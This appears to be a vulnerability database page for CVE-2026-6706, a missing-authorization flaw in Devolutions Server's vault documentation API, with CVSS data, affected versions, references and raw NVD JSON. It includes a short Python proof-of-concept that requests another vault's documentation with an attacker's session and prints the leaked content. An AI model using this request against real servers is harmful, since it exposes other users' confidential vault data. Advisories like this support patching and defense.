CVE-2026-6706

Description

Improper access control in the vault documentation feature in Devolutions Server allows an authenticated attacker to read documentation content from unauthorized vaults via a crafted API request. This issue affects Server: from 2026.1.6.0 through 2026.1.14.0, through 2025.3.18.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE

Devolutions Server 2026.1.6.0 - 2026.1.14.0

Devolutions Server <= 2025.3.18.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
target_url = "https://<target-server>/api/vault/documentation"

# Attacker's authenticated session cookie
cookies = {
    "ASP.NET_SessionId": "<attacker_session_id>"
}

# Malicious payload targeting an unauthorized vault ID
params = {
    "vaultId": "<target_vault_id>",
    "docId": "<target_doc_id>"
}

response = requests.get(target_url, cookies=cookies, params=params)

if response.status_code == 200:
    print("[+] Exploit successful! Leaked data:")
    print(response.text)
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6706
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6706
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6706/
[4] VulDB https://vuldb.com/cve/CVE-2026-6706
[5] https://devolutions.net/security/advisories/DEVO-2026-0011

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6706", "sourceIdentifier": "[email protected]", "published": "2026-04-28T14:16:14.150", "lastModified": "2026-05-04T13:37:11.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper\n access control in the vault documentation feature in Devolutions \nServer allows an authenticated attacker to read documentation content \nfrom unauthorized vaults via a crafted API request.\n\n\n\nThis issue affects Server: from 2026.1.6.0 through 2026.1.14.0, through 2025.3.18.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.19.0", "matchCriteriaId": "0D4884FB-A1C7-4843-8FE3-87EA1ED302C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.15.0", "matchCriteriaId": "B584A265-9848-4D9E-81AB-DB7C96539C37"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0011", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}